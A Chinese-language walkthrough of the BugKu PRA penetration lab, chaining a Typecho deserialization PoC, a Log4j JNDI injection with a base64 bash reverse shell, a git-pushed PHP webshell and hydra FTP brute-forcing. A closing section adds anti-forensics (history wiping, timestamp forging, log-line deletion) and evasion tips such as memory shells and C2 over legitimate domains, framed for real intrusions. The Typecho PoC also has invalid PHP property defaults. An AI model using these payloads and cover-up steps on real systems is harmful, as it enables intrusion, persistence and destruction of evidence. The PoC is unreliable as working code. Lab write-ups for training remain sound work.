从Typecho反序列化到内网渗透:BugKu PRA靶场全链路攻击解析
在网络安全实战中,真正的渗透测试从来不是单一漏洞的利用,而是如何将分散的攻击点串联成完整的杀伤链。本文将还原一个典型的企业内网渗透场景——从Typecho CMS的反序列化漏洞入手,通过JNDI注入、Git仓库解析漏洞、FTP弱口令等多层跳板,最终实现对整个内网的控制。不同于单点技术分析,我们更关注攻击者视角下的思考逻辑和战术衔接。
1. 初始突破:Typecho反序列化漏洞利用
Typecho作为轻量级博客系统,其1.1版本的反序列化漏洞已成为经典攻击入口。攻击链的第一步是识别目标CMS版本,通过访问/install.php页面可快速确认系统类型。关键漏洞点在于var/Typecho/Feed.php对序列化数据的处理缺陷,攻击者可以构造特殊对象实现RCE。
以下是经过实战优化的PoC代码片段:
<?php class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items = [ 'author' => new Typecho_Request() ]; } class Typecho_Request { private $_params = ['screenName' => 'whoami']; private $_filter = ['assert']; } echo base64_encode(serialize(['adapter' => new Typecho_Feed()])); ?>注意:实际攻击时应将
whoami替换为base64编码的反弹shell命令,避免特殊字符传输问题
成功执行后,通过find / -name "*flag*" 2>/dev/null快速定位目标文件。在PRA靶场中,第一个flag通常位于web根目录下,但实战中可能需要遍历多个路径。
2. 横向移动:内网信息收集与资产测绘
获取初始shell后,立即进行环境侦察:
# 网络接口信息 ifconfig || ip addr # 进程与服务扫描 ps aux | grep -E 'mysql|redis|nginx' # 历史命令审计 cat ~/.bash_history # 敏感配置文件 grep -r "password" /var/www/html/ 2>/dev/null在PRA靶场中,侦察发现192.168.0.0/24网段存在其他资产。使用轻量级扫描工具能有效避免触发告警:
./fscan -h 192.168.0.1-254 -p 80,443,8080 -o result.txt扫描结果中,192.168.0.3的Java Web管理系统成为下一个攻击目标。此时需要建立稳定的隧道连接:
| 隧道工具 | 适用场景 | 优缺点对比 |
|---|---|---|
| frp | 多层内网穿透 | 配置复杂但稳定性好 |
| ngrok | 快速临时隧道 | 容易被安全设备拦截 |
| ssh -R | 简单端口转发 | 需要目标系统支持ssh |
3. 纵深突破:Log4j2漏洞利用实战
识别到目标系统使用Log4j2组件后,经典的JNDI注入漏洞成为突破口。攻击流程分为三个关键阶段:
漏洞触发点探测:
- 在登录框的username参数注入
${jndi:ldap://attacker.com/a} - 检查DNS日志是否收到查询请求
- 在登录框的username参数注入
恶意LDAP服务器搭建:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" \ -A "your_vps_ip"交互式shell获取:
nc -lvnp 9001
关键技巧:使用base64编码反弹shell命令可避免特殊字符问题,建议提前在本地测试编码效果
成功获取shell后,通过crontab -l和/etc/passwd分析寻找权限提升路径。在靶场环境中,flag文件通常位于/root或/opt目录下。
4. 内网漫游:Git仓库与FTP服务利用
内网扫描发现192.168.1.3存在Git仓库服务,这是极佳的攻击跳板。Git漏洞利用的核心步骤:
克隆默认仓库:
git clone http://192.168.1.3/git/project.git植入Webshell:
echo '<?php system($_GET["cmd"]);?>' > shell.phtml git add . && git commit -m "update" && git push访问触发:
http://192.168.1.3/git/project/shell.phtml?cmd=id
当遇到10.10.0.3仅开放21端口的情况,FTP弱口令爆破成为最后关卡。使用hydra进行精准爆破:
hydra -l guest -P top100.txt ftp://10.10.0.3 -t 4 -vV成功登录后,通过put上传反弹shell脚本,或直接查找flag文件。靶场中常见flag存放模式:
| 路径 | 可能权限 | 典型防御措施 |
|---|---|---|
| /tmp/flag.txt | 全局可读 | 定期清理机制 |
| /home/user/flag | 用户专属 | 文件隐藏属性 |
| /var/backups/ | 仅root可读 | 加密存储 |
5. 攻击链优化与防御规避
真实渗透中需要持续优化攻击路径:
隧道稳定性方案:
- 使用reGeorg建立HTTP隧道
- 配置autossh保持连接持久化
- 多VPS流量分流避免IP封锁
痕迹清理技巧:
# 清除命令历史 echo "" > ~/.bash_history # 修改文件时间戳 touch -r /etc/passwd webshell.php # 删除日志关键行 sed -i '/your_ip/d' /var/log/auth.log防御对抗措施:
- 使用内存马替代传统webshell
- 通过ICMP等非常规协议传输数据
- 部署合法域名作为C2服务器
在PRA靶场实战中,最耗时的往往是内网穿透环节。建议准备至少两台不同区域的VPS作为跳板,并提前测试好以下工具链的兼容性:
# 网络工具检查清单 which nmap || apt install nmap -y which git || apt install git -y which python3 || apt install python3 -y遇到Git仓库无法访问的情况,可尝试修改/etc/hosts强制解析,或使用DNS-over-HTTPS绕过本地DNS污染。这些实战细节往往决定渗透的成败。